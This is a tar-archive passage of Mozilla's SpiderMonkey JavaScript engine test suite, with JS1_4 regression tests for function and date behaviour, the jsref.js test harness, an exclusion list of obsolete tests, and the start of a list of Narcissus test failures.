0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * File Name: function-004.js * Description: * * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=310502 * * Author: christine@netscape.com * Date: 11 August 1998 */ var SECTION = "funtion-004-n.js"; var VERSION = "JS1_4"; var TITLE = "Regression test case for 310502"; var BUGNUMBER="310502"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); var o = {}; o.call = Function.prototype.call; DESCRIPTION = "var o = {}; o.call = Function.prototype.call; o.call()"; EXPECTED = "error"; new TestCase( SECTION, "var o = {}; o.call = Function.prototype.call; o.call()", "error", o.call() ); test(); mozjs17.0.0/js/src/tests/js1_4/Regress/shell.js0000664000175000017500000000000012106270663021133 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_4/Regress/function-001.js0000664000175000017500000000255312106270663022166 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * File Name: function-001.js * Description: * * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=325843 * js> function f(a){var a,b;} * * causes an an assert on a null 'sprop' in the 'Variables' function in * jsparse.c This will crash non-debug build. * * Author: christine@netscape.com * Date: 11 August 1998 */ var SECTION = "function-001.js"; var VERSION = "JS1_4"; var TITLE = "Regression test case for 325843"; var BUGNUMBER="3258435"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); eval("function f1 (a){ var a,b; }"); function f2( a ) { var a, b; }; new TestCase( SECTION, "eval(\"function f1 (a){ var a,b; }\"); "+ "function f2( a ) { var a, b; }; typeof f1", "function", typeof f1 ); // force a function decompilation new TestCase( SECTION, "typeof f1.toString()", "string", typeof f1.toString() ); new TestCase( SECTION, "typeof f2", "function", typeof f2 ); // force a function decompilation new TestCase( SECTION, "typeof f2.toString()", "string", typeof f2.toString() ); test(); mozjs17.0.0/js/src/tests/js1_4/Regress/function-002.js0000664000175000017500000000520712106270663022166 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * File Name: function-002.js * Description: * * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=330462 * js> function f(a){var a,b;} * * causes an an assert on a null 'sprop' in the 'Variables' function in * jsparse.c This will crash non-debug build. * * Author: christine@netscape.com * Date: 11 August 1998 * REVISED: 04 February 2001 * (changed the comma expressions from trivial to non-trivial) * Author: pschwartau@netscape.com * * Brendan: "The test seemed to require something that ECMA does not * guarantee, and that JS1.4 didn't either. For example, given * * dec2 = "function f2(){1,2}"; * * the engine is free to decompile a function object compiled from this source, * via Function.prototype.toString(), into some other string that compiles to * an equivalent function. The engine now eliminates the useless comma expression * 1,2, giving function f2(){}. This should be legal by the testsuite's lights." * */ var SECTION = "function-002.js"; var VERSION = "JS1_4"; var TITLE = "Regression test case for 325843"; var BUGNUMBER="330462"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); dec1 = "function f1(x,y){++x, --y}"; dec2 = "function f2(){var y; f1(1,2); y=new Date(); print(y.toString())}"; eval(dec1); eval(dec2); new TestCase( SECTION, "typeof f1", "function", typeof f1 ); // force a function decompilation new TestCase( SECTION, "f1.toString() == dec1", true, StripSpaces(f1.toString()) == StripSpaces(dec1)); new TestCase( SECTION, "typeof f2", "function", typeof f2 ); // force a function decompilation new TestCase( SECTION, "f2.toString() == dec2", true, StripSpaces(f2.toString().replace(/new Date\(\)/g, 'new Date')) == StripSpaces(dec2.replace(/new Date\(\)/g, 'new Date'))); test(); function StripSpaces( s ) { var strippedString = ""; for ( var currentChar = 0; currentChar < s.length; currentChar++ ) { if (!IsWhiteSpace(s.charAt(currentChar))) { strippedString += s.charAt(currentChar); } } return strippedString; } function IsWhiteSpace( string ) { var cc = string.charCodeAt(0); switch (cc) { case (0x0009): case (0x000B): case (0x000C): case (0x0020): case (0x000A): case (0x000D): case ( 59 ): // let's strip out semicolons, too return true; break; default: return false; } } mozjs17.0.0/js/src/tests/js1_4/Regress/browser.js0000664000175000017500000000000012106270663021507 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_4/Regress/date-001-n.js0000664000175000017500000000207712106270663021512 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * File Name: date-001-n.js * Description: * * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=299903 * * Author: christine@netscape.com * Date: 11 August 1998 */ var SECTION = "date-001-n.js"; var VERSION = "JS1_4"; var TITLE = "Regression test case for 299903"; var BUGNUMBER="299903"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); function MyDate() { this.foo = "bar"; } MyDate.prototype = new Date(); DESCRIPTION = "function MyDate() { this.foo = \"bar\"; }; MyDate.prototype = new Date(); new MyDate().toString()"; EXPECTED = "error"; new TestCase( SECTION, "function MyDate() { this.foo = \"bar\"; }; "+ "MyDate.prototype = new Date(); " + "new MyDate().toString()", "error", new MyDate().toString() ); test(); mozjs17.0.0/js/src/tests/js1_4/Regress/regress-7224.js0000664000175000017500000000347612106270663022116 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * File Name: regress-7224.js * Reference: js1_2 * Description: Remove support for the arg * Author: ** replace with your e-mail address ** */ var SECTION = "regress"; // provide a document reference (ie, ECMA section) var VERSION = "JS1_4"; // Version of JavaScript or ECMA var TITLE = "Regression test for bugzilla #7224"; // Provide ECMA section title or a description var BUGNUMBER = "http://bugzilla.mozilla.org/show_bug.cgi?id=7224"; // Provide URL to bugsplat or bugzilla report startTest(); // leave this alone /* * Calls to AddTestCase here. AddTestCase is a function that is defined * in shell.js and takes three arguments: * - a string representation of what is being tested * - the expected result * - the actual result * * For example, a test might look like this: * * var zip = /[\d]{5}$/; * * AddTestCase( * "zip = /[\d]{5}$/; \"PO Box 12345 Boston, MA 02134\".match(zip)", // description of the test * "02134", // expected result * "PO Box 12345 Boston, MA 02134".match(zip) ); // actual result * */ var f = new Function( "return arguments.caller" ); var o = {}; o.foo = f; o.foo("a", "b", "c"); AddTestCase( "var f = new Function( 'return arguments.caller' ); f()", undefined, f() ); AddTestCase( "var o = {}; o.foo = f; o.foo('a')", undefined, o.foo('a') ); test(); // leave this alone. this executes the test cases and // displays results. mozjs17.0.0/js/src/tests/js1_4/Regress/function-003.js0000664000175000017500000000264212106270663022167 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * File Name: function-003.js * Description: * * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=104766 * * Author: christine@netscape.com * Date: 11 August 1998 */ var SECTION = "toString-001.js"; var VERSION = "JS1_4"; var TITLE = "Regression test case for 104766"; var BUGNUMBER="310514"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "StripSpaces(Array.prototype.concat.toString()).substring(0,17)", "functionconcat(){", StripSpaces(Array.prototype.concat.toString()).substring(0,17)); test(); function StripSpaces( s ) { for ( var currentChar = 0, strippedString=""; currentChar < s.length; currentChar++ ) { if (!IsWhiteSpace(s.charAt(currentChar))) { strippedString += s.charAt(currentChar); } } return strippedString; } function IsWhiteSpace( string ) { var cc = string.charCodeAt(0); switch (cc) { case (0x0009): case (0x000B): case (0x000C): case (0x0020): case (0x000A): case (0x000D): case ( 59 ): // let's strip out semicolons, too return true; break; default: return false; } } mozjs17.0.0/js/src/tests/js1_4/Regress/toString-001-n.js0000664000175000017500000000172112106270663022401 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * File Name: toString-001-n.js * Description: * * Function.prototype.toString is not generic. * * Author: christine@netscape.com * Date: 11 August 1998 */ var SECTION = "toString-001.js"; var VERSION = "JS1_4"; var TITLE = "Regression test case for 310514"; var BUGNUMBER="310514"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); var o = {}; o.toString = Function.prototype.toString; DESCRIPTION = "var o = {}; o.toString = Function.prototype.toString; o.toString();"; EXPECTED = "error"; new TestCase( SECTION, "var o = {}; o.toString = Function.prototype.toString; o.toString();", "error", o.toString() ); test(); mozjs17.0.0/js/src/tests/js1_4/Functions/0000775000175000017500000000000012106270663020036 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_4/Functions/shell.js0000664000175000017500000000000012106270663021471 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_4/Functions/function-001.js0000664000175000017500000000460512106270663022524 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * File Name: function-001.js * Description: * * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=324455 * * Earlier versions of JavaScript supported access to the arguments property * of the function object. This property held the arguments to the function. * function f() { * return f.arguments[0]; // deprecated * } * var x = f(3); // x will be 3 * * This feature is not a part of the final ECMA standard. Instead, scripts * should simply use just "arguments": * * function f() { * return arguments[0]; // okay * } * * var x = f(3); // x will be 3 * * Again, this feature was motivated by performance concerns. Access to the * arguments property is not threadsafe, which is of particular concern in * server environments. Also, the compiler can generate better code for * functions because it can tell when the arguments are being accessed only by * name and avoid setting up the arguments object. * * Author: christine@netscape.com * Date: 11 August 1998 */ var SECTION = "function-001.js"; var VERSION = "JS1_4"; var TITLE = "Accessing the arguments property of a function object"; var BUGNUMBER="324455"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "return function.arguments", "P", TestFunction_2("P", "A","S","S")[0] +""); new TestCase( SECTION, "return arguments", "P", TestFunction_1( "P", "A", "S", "S" )[0] +""); new TestCase( SECTION, "return arguments when function contains an arguments property", "PASS", TestFunction_3( "P", "A", "S", "S" ) +""); new TestCase( SECTION, "return function.arguments when function contains an arguments property", "[object Arguments]", TestFunction_4( "F", "A", "I", "L" ) +""); test(); function TestFunction_1( a, b, c, d, e ) { return arguments; } function TestFunction_2( a, b, c, d, e ) { return TestFunction_2.arguments; } function TestFunction_3( a, b, c, d, e ) { var arguments = "PASS"; return arguments; } function TestFunction_4( a, b, c, d, e ) { var arguments = "FAIL"; return TestFunction_4.arguments; } mozjs17.0.0/js/src/tests/js1_4/Functions/browser.js0000664000175000017500000000000012106270663022045 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_4/browser.js0000664000175000017500000000000012106270663020075 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_4/jsref.js0000664000175000017500000001073412106270663017542 0ustar sstanglsstanglvar completed = false; var testcases; var BUGNUMBER=""; var EXCLUDE = ""; var TT = ""; var TT_ = ""; var BR = ""; var NBSP = " "; var CR = "\n"; var FONT = ""; var FONT_ = ""; var FONT_RED = ""; var FONT_GREEN = ""; var B = ""; var B_ = "" var H2 = ""; var H2_ = ""; var HR = ""; var PASSED = " PASSED!" var FAILED = " FAILED! expected: "; version( 140 ); function test() { for ( tc=0; tc < testcases.length; tc++ ) { testcases[tc].passed = writeTestCaseResult( testcases[tc].expect, testcases[tc].actual, testcases[tc].description +" = "+ testcases[tc].actual ); testcases[tc].reason += ( testcases[tc].passed ) ? "" : "wrong value "; } stopTest(); return ( testcases ); } function TestCase( n, d, e, a ) { this.name = n; this.description = d; this.expect = e; this.actual = a; this.passed = true; this.reason = ""; this.bugnumber = BUGNUMBER; this.passed = getTestCaseResult( this.expect, this.actual ); } function startTest() { /* // JavaScript 1.3 is supposed to be compliant ecma version 1.0 if ( VERSION == "ECMA_1" ) { version ( "130" ); } if ( VERSION == "JS_1.3" ) { version ( "130" ); } if ( VERSION == "JS_1.2" ) { version ( "120" ); } if ( VERSION == "JS_1.1" ) { version ( "110" ); } // for ecma version 2.0, we will leave the javascript version to // the default ( for now ). */ } function getTestCaseResult( expect, actual ) { // because ( NaN == NaN ) always returns false, need to do // a special compare to see if we got the right result. if ( actual != actual ) { if ( typeof actual == "object" ) { actual = "NaN object"; } else { actual = "NaN number"; } } if ( expect != expect ) { if ( typeof expect == "object" ) { expect = "NaN object"; } else { expect = "NaN number"; } } var passed = ( expect == actual ) ? true : false; // if both objects are numbers, give a little leeway for rounding. if ( !passed && typeof(actual) == "number" && typeof(expect) == "number" ) { if ( Math.abs(actual-expect) < 0.0000001 ) { passed = true; } } // verify type is the same if ( typeof(expect) != typeof(actual) ) { passed = false; } return passed; } function writeTestCaseResult( expect, actual, string ) { var passed = getTestCaseResult( expect, actual ); writeFormattedResult( expect, actual, string, passed ); return passed; } function writeFormattedResult( expect, actual, string, passed ) { var s = TT + string ; for ( k = 0; k < (60 - string.length >= 0 ? 60 - string.length : 5) ; k++ ) { // s += NBSP; } s += B ; s += ( passed ) ? FONT_GREEN + NBSP + PASSED : FONT_RED + NBSP + FAILED + expect + TT_ ; print( s + FONT_ + B_ + TT_ ); return passed; } function writeHeaderToLog( string ) { print( H2 + string + H2_ ); } function stopTest() { var sizeTag = "<#TEST CASES SIZE>"; var doneTag = "<#TEST CASES DONE>"; var beginTag = "<#TEST CASE "; var endTag = ">"; print(sizeTag); print(testcases.length); for (tc = 0; tc < testcases.length; tc++) { print(beginTag + 'PASSED' + endTag); print(testcases[tc].passed); print(beginTag + 'NAME' + endTag); print(testcases[tc].name); print(beginTag + 'EXPECTED' + endTag); print(testcases[tc].expect); print(beginTag + 'ACTUAL' + endTag); print(testcases[tc].actual); print(beginTag + 'DESCRIPTION' + endTag); print(testcases[tc].description); print(beginTag + 'REASON' + endTag); print(( testcases[tc].passed ) ? "" : "wrong value "); print(beginTag + 'BUGNUMBER' + endTag); print( BUGNUMBER ); } print(doneTag); gc(); } function getFailedCases() { for ( var i = 0; i < testcases.length; i++ ) { if ( ! testcases[i].passed ) { print( testcases[i].description +" = " +testcases[i].actual +" expected: "+ testcases[i].expect ); } } } mozjs17.0.0/js/src/tests/spidermonkey-n.tests0000775000175000017500000000400112106270663021174 0ustar sstanglsstangl# Obsolete SpiderMonkey tests # # invalidated by bug 10278 # js1_2/function/function-001-n.js js1_3/Script/function-001-n.js js1_3/regress/function-001-n.js # # WONTFIX bug 119719 # js1_5/Regress/regress-119719.js # # Spidermonkey now defaults lineNumber and fileName # to the location and file where the exception occurred. # exclude original test which assumes the defaults are # 0 and '' # js1_5/extensions/regress-50447.js # # Invalid bug # e4x/Regress/regress-278112.js # # behavior changed to match MSIE/Opera/etc # see bug 309840 # js1_5/Regress/regress-173067.js # # per comment in bug, this test is obsolete # for spidermonkey and rhino. # ecma_3/Statements/regress-121744.js # # remove version dependent tests # see bug 325921 # js1_2/Array/array_split_1.js js1_2/Array/tostring_1.js js1_2/Array/tostring_2.js js1_2/Objects/toString-001.js js1_2/String/concat.js js1_2/function/Function_object.js js1_2/function/Number.js js1_2/function/String.js js1_2/function/function-001-n.js js1_2/function/length.js js1_2/function/regexparg-2-n.js js1_2/function/tostring-1.js js1_2/function/tostring-2.js js1_2/operator/equality.js js1_2/regexp/RegExp_lastIndex.js js1_2/regexp/string_split.js js1_2/version120/boolean-001.js js1_2/version120/regress-99663.js js1_3/Script/delete-001.js js1_3/Script/function-001-n.js js1_3/regress/delete-001.js js1_3/regress/function-001-n.js # # tests not yet implemented # e4x/TypeConversion/10.5.1.js e4x/TypeConversion/10.5.js e4x/TypeConversion/10.6.1.js e4x/TypeConversion/10.6.js e4x/Types/9.1.1.10.js e4x/Types/9.1.1.11.js e4x/Types/9.1.1.12.js e4x/Types/9.1.1.13.js e4x/Types/9.1.1.4.js e4x/Types/9.1.1.5.js e4x/Types/9.1.1.7.js e4x/Types/9.1.1.8.js e4x/Types/9.2.1.10.js e4x/Types/9.2.1.3.js e4x/Types/9.2.1.4.js e4x/Types/9.2.1.5.js e4x/Types/9.2.1.6.js e4x/Types/9.2.1.7.js e4x/XML/13.4.4.1.js ecma_2/RegExp/exec-001.js ecma_2/String/replace-001.js # # pre ecma warnings are doa # js1_5/Regress/regress-106244.js # # do not ignore unicode formatting chars/trunk - bug 274152 # ecma_3/Unicode/uc-001.js mozjs17.0.0/js/src/tests/jsreftest.html0000664000175000017500000000076512106270663020055 0ustar sstanglsstangl JavaScript Test Driver - reftests mozjs17.0.0/js/src/tests/narcissus-failures.txt0000664000175000017500000013230012106270663021530 0ustar sstanglsstangle4x/Expressions/11.1.1.js e4x/Expressions/11.1.2.js e4x/Expressions/11.1.3.js e4x/Expressions/11.1.4-01.js e4x/Expressions/11.1.4-02.js e4x/Expressions/11.1.4-03.js e4x/Expressions/11.1.4-04.js e4x/Expressions/11.1.4-05.js e4x/Expressions/11.1.4-06.js e4x/Expressions/11.1.4-07.js e4x/Expressions/11.1.4.js e4x/Expressions/11.1.5.js e4x/Expressions/11.2.1.js e4x/Expressions/11.2.2.js e4x/Expressions/11.2.3.js e4x/Expressions/11.2.4.js e4x/Expressions/11.3.1.js e4x/Expressions/11.4.1.js e4x/Expressions/11.5.1.js e4x/Expressions/11.6.1.js e4x/Expressions/11.6.2.js e4x/Expressions/11.6.3.js e4x/Expressions/regress-301545.js e4x/Expressions/regress-302531.js e4x/Expressions/regress-340024.js e4x/Expressions/regress-366123.js e4x/Expressions/regress-496113.js e4x/GC/regress-280844-1.js e4x/GC/regress-280844-2.js e4x/GC/regress-292455.js e4x/GC/regress-313952-02.js e4x/GC/regress-324117.js e4x/GC/regress-339785.js e4x/GC/regress-357063-01.js e4x/GC/regress-357063-02.js e4x/Namespace/regress-283972.js e4x/Namespace/regress-350442.js e4x/Namespace/regress-444608-02.js e4x/Namespace/regress-444608.js e4x/QName/regress-373595-01.js e4x/QName/regress-373595-02.js e4x/QName/regress-373595-03.js e4x/QName/regress-444608.js e4x/Regress/regress-257679.js e4x/Regress/regress-263934.js e4x/Regress/regress-263935.js e4x/Regress/regress-263936.js e4x/Regress/regress-264369.js e4x/Regress/regress-271545.js e4x/Regress/regress-277650.js e4x/Regress/regress-277664.js e4x/Regress/regress-277683.js e4x/Regress/regress-277779.js e4x/Regress/regress-277935.js e4x/Regress/regress-283349.js e4x/Regress/regress-290056.js e4x/Regress/regress-290499.js e4x/Regress/regress-301553.js e4x/Regress/regress-301573.js e4x/Regress/regress-301596.js e4x/Regress/regress-301692.js e4x/Regress/regress-308111.js e4x/Regress/regress-309897.js e4x/Regress/regress-311580.js e4x/Regress/regress-313799.js e4x/Regress/regress-318922.js e4x/Regress/regress-321547.js e4x/Regress/regress-322499.js e4x/Regress/regress-323338-1.js e4x/Regress/regress-323338-2.js e4x/Regress/regress-325425.js e4x/Regress/regress-327564.js e4x/Regress/regress-327691-01.js e4x/Regress/regress-327691-02.js e4x/Regress/regress-327697.js e4x/Regress/regress-328249.js e4x/Regress/regress-329257.js e4x/Regress/regress-331558.js e4x/Regress/regress-331664.js e4x/Regress/regress-344455.js e4x/Regress/regress-350206-1.js e4x/Regress/regress-350206.js e4x/Regress/regress-350238.js e4x/Regress/regress-350629.js e4x/Regress/regress-352097.js e4x/Regress/regress-352103.js e4x/Regress/regress-352223.js e4x/Regress/regress-354145-01.js e4x/Regress/regress-354145-02.js e4x/Regress/regress-354145-03.js e4x/Regress/regress-354145-04.js e4x/Regress/regress-354145-05.js e4x/Regress/regress-354145-07.js e4x/Regress/regress-354998.js e4x/Regress/regress-355474-02.js e4x/Regress/regress-355478.js e4x/Regress/regress-355569.js e4x/Regress/regress-356238-01.js e4x/Regress/regress-356238-02.js e4x/Regress/regress-356238-03.js e4x/Regress/regress-364017.js e4x/Regress/regress-369032.js e4x/Regress/regress-369536.js e4x/Regress/regress-369740.js e4x/Regress/regress-370016.js e4x/Regress/regress-370048-01.js e4x/Regress/regress-370048-02.js e4x/Regress/regress-370372.js e4x/Regress/regress-371369.js e4x/Regress/regress-372563.js e4x/Regress/regress-372564.js e4x/Regress/regress-373082.js e4x/Regress/regress-374106.js e4x/Regress/regress-374112.js e4x/Regress/regress-374116.js e4x/Regress/regress-374160.js e4x/Regress/regress-375406.js e4x/Regress/regress-380833.js e4x/Regress/regress-383255.js e4x/Regress/regress-394941.js e4x/Regress/regress-426520.js e4x/Regress/regress-453915.js e4x/Regress/regress-458679-01.js e4x/Regress/regress-458679-02.js e4x/Regress/regress-460180.js e4x/Regress/regress-465063.js e4x/Regress/regress-470619.js e4x/Regress/regress-474319.js e4x/Regress/regress-561031.js e4x/Regress/regress-587434.js e4x/Statements/12.1.js e4x/Statements/12.2.js e4x/TypeConversion/10.1.1.js e4x/TypeConversion/10.1.2.js e4x/TypeConversion/10.3.1.js e4x/TypeConversion/10.3.js e4x/TypeConversion/10.4.1.js e4x/TypeConversion/10.4.js e4x/TypeConversion/regress-302097.js e4x/Types/9.1.1.1.js e4x/Types/9.1.1.2.js e4x/Types/9.1.1.3.js e4x/Types/9.1.1.6.js e4x/Types/9.1.1.9.js e4x/Types/9.2.1.1.js e4x/Types/9.2.1.2.js e4x/Types/9.2.1.8.js e4x/Types/9.2.1.9.js e4x/XML/13.4.1.js e4x/XML/13.4.2.js e4x/XML/13.4.3.10.js e4x/XML/13.4.3.js e4x/XML/13.4.4.10.js e4x/XML/13.4.4.11.js e4x/XML/13.4.4.12-1.js e4x/XML/13.4.4.12.js e4x/XML/13.4.4.13.js e4x/XML/13.4.4.14.js e4x/XML/13.4.4.15.js e4x/XML/13.4.4.16.js e4x/XML/13.4.4.17.js e4x/XML/13.4.4.18.js e4x/XML/13.4.4.19.js e4x/XML/13.4.4.2.js e4x/XML/13.4.4.20.js e4x/XML/13.4.4.21.js e4x/XML/13.4.4.22.js e4x/XML/13.4.4.23.js e4x/XML/13.4.4.24.js e4x/XML/13.4.4.25.js e4x/XML/13.4.4.26.js e4x/XML/13.4.4.27.js e4x/XML/13.4.4.28.js e4x/XML/13.4.4.29.js e4x/XML/13.4.4.3-01.js e4x/XML/13.4.4.3-02.js e4x/XML/13.4.4.3.js e4x/XML/13.4.4.30.js e4x/XML/13.4.4.31.js e4x/XML/13.4.4.32-01.js e4x/XML/13.4.4.32.js e4x/XML/13.4.4.33.js e4x/XML/13.4.4.34.js e4x/XML/13.4.4.35.js e4x/XML/13.4.4.36.js e4x/XML/13.4.4.37.js e4x/XML/13.4.4.38.js e4x/XML/13.4.4.39.js e4x/XML/13.4.4.4.js e4x/XML/13.4.4.40.js e4x/XML/13.4.4.5.js e4x/XML/13.4.4.6.js e4x/XML/13.4.4.7.js e4x/XML/13.4.4.8.js e4x/XML/13.4.4.9.js e4x/XML/regress-291930.js e4x/XML/regress-324422-1.js e4x/XML/regress-336921.js e4x/XML/regress-376773.js e4x/XMLList/13.5.1.js e4x/XMLList/13.5.2.js e4x/XMLList/13.5.4.10.js e4x/XMLList/13.5.4.11.js e4x/XMLList/13.5.4.12.js e4x/XMLList/13.5.4.13.js e4x/XMLList/13.5.4.14.js e4x/XMLList/13.5.4.15.js e4x/XMLList/13.5.4.16.js e4x/XMLList/13.5.4.17.js e4x/XMLList/13.5.4.18.js e4x/XMLList/13.5.4.19.js e4x/XMLList/13.5.4.2.js e4x/XMLList/13.5.4.20.js e4x/XMLList/13.5.4.21.js e4x/XMLList/13.5.4.22.js e4x/XMLList/13.5.4.3.js e4x/XMLList/13.5.4.4.js e4x/XMLList/13.5.4.5.js e4x/XMLList/13.5.4.6.js e4x/XMLList/13.5.4.7.js e4x/XMLList/13.5.4.8.js e4x/XMLList/13.5.4.9.js e4x/XMLList/regress-373072.js e4x/decompilation/regress-349814.js e4x/decompilation/regress-349815.js e4x/decompilation/regress-349822.js e4x/decompilation/regress-349956.js e4x/decompilation/regress-350226.js e4x/decompilation/regress-350531.js e4x/decompilation/regress-351706.js e4x/decompilation/regress-351988.js e4x/decompilation/regress-352013.js e4x/decompilation/regress-352459.js e4x/decompilation/regress-352649.js e4x/decompilation/regress-352789.js e4x/decompilation/regress-355101.js e4x/decompilation/regress-355474-01.js e4x/decompilation/regress-429249.js e4x/decompilation/regress-461233.js e4x/decompilation/regress-463360.js e4x/extensions/regress-305335.js e4x/extensions/regress-312196.js e4x/extensions/regress-313080.js e4x/extensions/regress-321547.js e4x/extensions/regress-327534.js e4x/extensions/regress-327897.js e4x/extensions/regress-335051.js e4x/extensions/regress-337226.js e4x/extensions/regress-352846-01.js e4x/extensions/regress-352846-02.js e4x/extensions/regress-352846-03.js e4x/extensions/regress-353165.js e4x/extensions/regress-354145-06.js e4x/extensions/regress-354151-01.js e4x/extensions/regress-354151-02.js e4x/extensions/regress-374025.js e4x/extensions/regress-374163.js e4x/extensions/regress-410192.js e4x/extensions/regress-450871-01.js e4x/extensions/regress-450871-02.js e4x/extensions/regress-462734-01.js e4x/extensions/extensibility.js ecma/Array/15.4.4.3-1.js ecma/Boolean/15.6.4.1.js ecma/Boolean/15.6.4.2-4-n.js ecma/Boolean/15.6.4.3-4-n.js ecma/Date/15.9.5.1.js ecma/Date/15.9.5.10-2.js ecma/Date/15.9.5.11-2.js ecma/Date/15.9.5.12-2.js ecma/Date/15.9.5.2-2-n.js ecma/Date/15.9.5.23-3-n.js ecma/Date/15.9.5.3-1-n.js ecma/Date/15.9.5.4-2-n.js ecma/Date/15.9.5.8.js ecma/ExecutionContexts/10.2.2-1.js ecma/ExecutionContexts/10.2.2-2.js ecma/Expressions/11.12-2-n.js ecma/Expressions/11.2.1-1.js ecma/Expressions/11.2.1-3-n.js ecma/Expressions/11.2.1-4-n.js ecma/Expressions/11.2.2-1-n.js ecma/Expressions/11.2.2-10-n.js ecma/Expressions/11.2.2-2-n.js ecma/Expressions/11.2.2-3-n.js ecma/Expressions/11.2.2-4-n.js ecma/Expressions/11.2.2-5-n.js ecma/Expressions/11.2.2-6-n.js ecma/Expressions/11.2.2-7-n.js ecma/Expressions/11.2.2-8-n.js ecma/Expressions/11.2.2-9-n.js ecma/Expressions/11.2.3-2-n.js ecma/Expressions/11.2.3-3-n.js ecma/Expressions/11.2.3-4-n.js ecma/Expressions/11.3.1.js ecma/Expressions/11.3.2.js ecma/Expressions/11.4.4.js ecma/Expressions/11.4.5.js ecma/Expressions/11.4.6.js ecma/Expressions/11.4.7-01.js ecma/Expressions/11.4.7-02.js ecma/FunctionObjects/15.3.1.1-1.js ecma/FunctionObjects/15.3.1.1-2.js ecma/FunctionObjects/15.3.1.1-3.js ecma/FunctionObjects/15.3.2.1-1.js ecma/FunctionObjects/15.3.2.1-2.js ecma/FunctionObjects/15.3.2.1-3.js ecma/FunctionObjects/15.3.3.1-4.js ecma/FunctionObjects/15.3.4-1.js ecma/FunctionObjects/15.3.4.js ecma/FunctionObjects/15.3.5-1.js ecma/FunctionObjects/15.3.5-2.js ecma/FunctionObjects/15.3.5.3.js ecma/GlobalObject/15.1-1-n.js ecma/GlobalObject/15.1-2-n.js ecma/GlobalObject/15.1.2.3-1.js ecma/GlobalObject/15.1.2.3-2.js ecma/LexicalConventions/7.1-1.js ecma/LexicalConventions/7.1-2.js ecma/LexicalConventions/7.1-3.js ecma/LexicalConventions/7.2-1.js ecma/LexicalConventions/7.2-2-n.js ecma/LexicalConventions/7.2-3-n.js ecma/LexicalConventions/7.2-4-n.js ecma/LexicalConventions/7.2-5-n.js ecma/LexicalConventions/7.3-13-n.js ecma/LexicalConventions/7.4.1-1-n.js ecma/LexicalConventions/7.4.1-2-n.js ecma/LexicalConventions/7.4.1-3-n.js ecma/LexicalConventions/7.4.2-1-n.js ecma/LexicalConventions/7.4.2-10-n.js ecma/LexicalConventions/7.4.2-11-n.js ecma/LexicalConventions/7.4.2-12-n.js ecma/LexicalConventions/7.4.2-13-n.js ecma/LexicalConventions/7.4.2-14-n.js ecma/LexicalConventions/7.4.2-15-n.js ecma/LexicalConventions/7.4.2-16-n.js ecma/LexicalConventions/7.4.2-2-n.js ecma/LexicalConventions/7.4.2-3-n.js ecma/LexicalConventions/7.4.2-4-n.js ecma/LexicalConventions/7.4.2-5-n.js ecma/LexicalConventions/7.4.2-6-n.js ecma/LexicalConventions/7.4.2-7-n.js ecma/LexicalConventions/7.4.2-8-n.js ecma/LexicalConventions/7.4.2-9-n.js ecma/LexicalConventions/7.4.3-1-n.js ecma/LexicalConventions/7.4.3-10-n.js ecma/LexicalConventions/7.4.3-11-n.js ecma/LexicalConventions/7.4.3-12-n.js ecma/LexicalConventions/7.4.3-13-n.js ecma/LexicalConventions/7.4.3-14-n.js ecma/LexicalConventions/7.4.3-15-n.js ecma/LexicalConventions/7.4.3-16-n.js ecma/LexicalConventions/7.4.3-2-n.js ecma/LexicalConventions/7.4.3-4-n.js 